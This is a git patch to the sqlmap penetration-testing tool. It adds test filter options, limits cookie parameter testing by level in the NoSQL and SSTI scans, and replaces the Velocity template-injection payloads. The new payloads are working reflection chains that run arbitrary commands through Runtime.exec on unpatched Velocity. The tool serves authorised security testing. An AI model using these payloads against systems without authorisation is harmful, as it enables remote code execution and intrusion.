From e0269acc0d95894befd53d2b26a4040ecb52b289 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Tue, 30 Jun 2026 14:59:32 +0200 Subject: [PATCH] Minor update --- data/txt/sha256sums.txt | 8 ++++---- lib/core/settings.py | 2 +- lib/core/testing.py | 15 +++++++++++++++ lib/techniques/nosql/inject.py | 3 +++ lib/techniques/ssti/inject.py | 34 +++++++++++++++++++++++++--------- 5 files changed, 48 insertions(+), 14 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 161b41eb5..b510dbb87 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -189,11 +189,11 @@ e033b20a0f7821797a10f4bf4235723f38c7db551c611fbb713faa621b123c4a lib/core/optio 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -12f9b8bba9ee9e164ba9cd9718bcd71f656e574da6b09635ce498e49cdb1f74e lib/core/settings.py +2498555483d50cf55f24dcb82b3253816a1ad6c3325b17e502d5063f2c9cbc87 lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 19f1e3c5e3ba703d28d510cd7a9ab8284d5fbe9df5ce7e77c86e5931571364b7 lib/core/target.py -073cc21334519624288bbf25060ab4e8102cbe6ec15e706992e639716075af8d lib/core/testing.py +540443bdc23965be80d80185d7f3b54b632228af220dc2cb2e9cbb3f4fd4cea4 lib/core/testing.py 95656c44bab1771f4808030dd6a17eae5b129cb1234443f00b19695c7b712b86 lib/core/threads.py b9aacb840310173202f79c2ba125b0243003ee6b44c92eca50424f2bdfc83c02 lib/core/unescaper.py 53e396902cb2546eaa09e77073fcba8be8827ee9ce055cfc899e81b0e6ad4d6d lib/core/update.py @@ -245,9 +245,9 @@ c3e5cf7e5e35ae5fd86b63a515b37e6f06e61c70d2690252f2ee8373aa16637e lib/techniques 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/ldap/__init__.py 039d64a610b0e92e953fa6eaa740e7c2867e34e12b82e0113204e8f6100dc368 lib/techniques/ldap/inject.py 44401cad3e39ae9fb899ed5d0e2fdd0879561de05c3117f17f3b0db54f4e3724 lib/techniques/nosql/__init__.py -602cba4df418f0852f94509482e8ccb47972b24a8928ad31f96ac5bed1f8c655 lib/techniques/nosql/inject.py +bde75d41ac3e5747b96d2af4c33922573158cb43b48714a28490d6720dd85d89 lib/techniques/nosql/inject.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/ssti/__init__.py -29ab841b6129106f19db692a5a30f90a5e758d6cd24d47da0a35c8090910ae18 lib/techniques/ssti/inject.py +8eaf90c2fa517a4577467ac0d7534a927c23931b946b27e88e63ae022f794a1c lib/techniques/ssti/inject.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/union/__init__.py ceec65f8cb7c3254c4671351c837418c76ac5bc55ccbc40779f67231b54d7085 lib/techniques/union/test.py c65766f71e285fc85cdf58e7448c4c1d015af2a9dbb44fa3b665a9f13362fbcc lib/techniques/union/use.py diff --git a/lib/core/settings.py b/lib/core/settings.py index f20c7a244..092cf2fd0 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.196" +VERSION = "1.10.6.197" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/core/testing.py b/lib/core/testing.py index ba7d48139..e1414e43e 100644 --- a/lib/core/testing.py +++ b/lib/core/testing.py @@ -32,6 +32,7 @@ from lib.core.compat import xrange from lib.core.convert import encodeBase64 from lib.core.convert import getBytes from lib.core.convert import getText +from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.data import paths @@ -114,6 +115,20 @@ def vulnTest(): TESTS = tuple(_ for _ in TESTS if "--ssti" not in _[0]) logger.warning("skipping the SSTI vuln-test entry ('jinja2' not available)") + # --test-filter / --test-skip narrow a (slow) full run to just the entries touching a change: + # the needle is matched case-insensitively against each entry's command line and its expected + # checks (e.g. '--vuln-test --test-filter=ssti' runs only the SSTI entry). + def _entryMatches(entry, needle): + needle = needle.lower() + return needle in entry[0].lower() or any(needle in getText(_).lower() for _ in entry[1]) + + if conf.get("testFilter"): + TESTS = tuple(_ for _ in TESTS if _entryMatches(_, conf.testFilter)) + logger.info("'--test-filter' selected %d vuln-test entr%s" % (len(TESTS), "y" if len(TESTS) == 1 else "ies")) + if conf.get("testSkip"): + TESTS = tuple(_ for _ in TESTS if not _entryMatches(_, conf.testSkip)) + logger.info("'--test-skip' left %d vuln-test entr%s" % (len(TESTS), "y" if len(TESTS) == 1 else "ies")) + retVal = True count = 0 cleanups = [] diff --git a/lib/techniques/nosql/inject.py b/lib/techniques/nosql/inject.py index 52d11e2ce..ceb1807ea 100644 --- a/lib/techniques/nosql/inject.py +++ b/lib/techniques/nosql/inject.py @@ -692,6 +692,9 @@ def nosqlScan(): tested = found = 0 for place in (_ for _ in NOSQL_PLACES if _ in conf.paramDict): + # mirror sqlmap's SQL place level-gating: Cookie parameters are only tested at --level >= 2 + if place == PLACE.COOKIE and conf.level < 2: + continue for parameter in list(conf.paramDict[place].keys()): key = _jsonKey(parameter) diff --git a/lib/techniques/ssti/inject.py b/lib/techniques/ssti/inject.py index 93251af7e..bbbc6e90c 100644 --- a/lib/techniques/ssti/inject.py +++ b/lib/techniques/ssti/inject.py @@ -142,15 +142,21 @@ _ENGINE_TABLE = ( "#if(true) TRUE #end", "#if(false) TRUE #else FALSE #end", "TRUE", "FALSE", "#* velocity *#", "", "", # no generic expression wrapper - # Velocity: full reflection chain (pre-2.3 only; patched by CVE-2020-13936) - (("#set($str=$class.inspect('java.lang.String').type)\n" - "#set($chr=$class.inspect('java.lang.Character').type)\n" - "#set($ex=$class.inspect('java.lang.Runtime').type.getRuntime().exec('{CMD}'))\n" - "$ex.waitFor()\n" - "#set($out=$ex.getInputStream())\n" - "#foreach($i in [1..$out.available()])\n" - "$str.valueOf($chr.toChars($out.read()))\n" - "#end", "reflection chain"),)), + # Velocity (pre-2.3; patched by CVE-2020-13936). Primary: portable String.class.forName() + # reflection chain - needs NO velocity-tools $class in the context - reading the process + # stdout byte-by-byte so the command output is rendered in-band. Fallback: the velocity-tools + # ClassTool ($class) form, for apps that expose it. + (("#set($x='')#set($rt=$x.class.forName('java.lang.Runtime'))" + "#set($chr=$x.class.forName('java.lang.Character'))" + "#set($str=$x.class.forName('java.lang.String'))" + "#set($ex=$rt.getRuntime().exec('{CMD}'))#set($w=$ex.waitFor())" + "#set($out=$ex.getInputStream())" + "#foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end", "String.class.forName chain"), + ("#set($str=$class.inspect('java.lang.String').type)" + "#set($chr=$class.inspect('java.lang.Character').type)" + "#set($ex=$class.inspect('java.lang.Runtime').type.getRuntime().exec('{CMD}'))#set($w=$ex.waitFor())" + "#set($out=$ex.getInputStream())" + "#foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end", "ClassTool chain"))), Engine("Spring EL / Thymeleaf", "java", "${", "}", r"(?i)(?:org\.springframework\.expression\.\w+|org\.thymeleaf\.\w+|SpelEvaluationException|TemplateProcessingException|ExpressionParsingException|ValidationFailedException)", @@ -588,6 +594,9 @@ def sstiScan(): found = [] for place in (_ for _ in SSTI_PLACES if _ in conf.paramDict): + # mirror sqlmap's SQL place level-gating: Cookie parameters are only tested at --level >= 2 + if place == PLACE.COOKIE and conf.level < 2: + continue for parameter in list(conf.paramDict[place].keys()): if conf.testParameter and parameter not in conf.testParameter: continue @@ -803,6 +812,13 @@ def _executeCommand(place, parameter, engine, cmd): output = output[len(original):] output = output.strip() + # A template that ECHOED our payload directive instead of executing it (e.g. a patched or + # sandboxed Velocity reflecting the literal "$ex.waitFor()") is reflection, not command + # output: reject it so the loop falls through to the honest "no output received" warning + # instead of presenting a reflected payload fragment as a fake command result. + if output and output in payload: + continue + # Suppress when output is just the baseline with the original value removed # (command produced no output; the template rendered empty) # Filter out template error messages masquerading as command output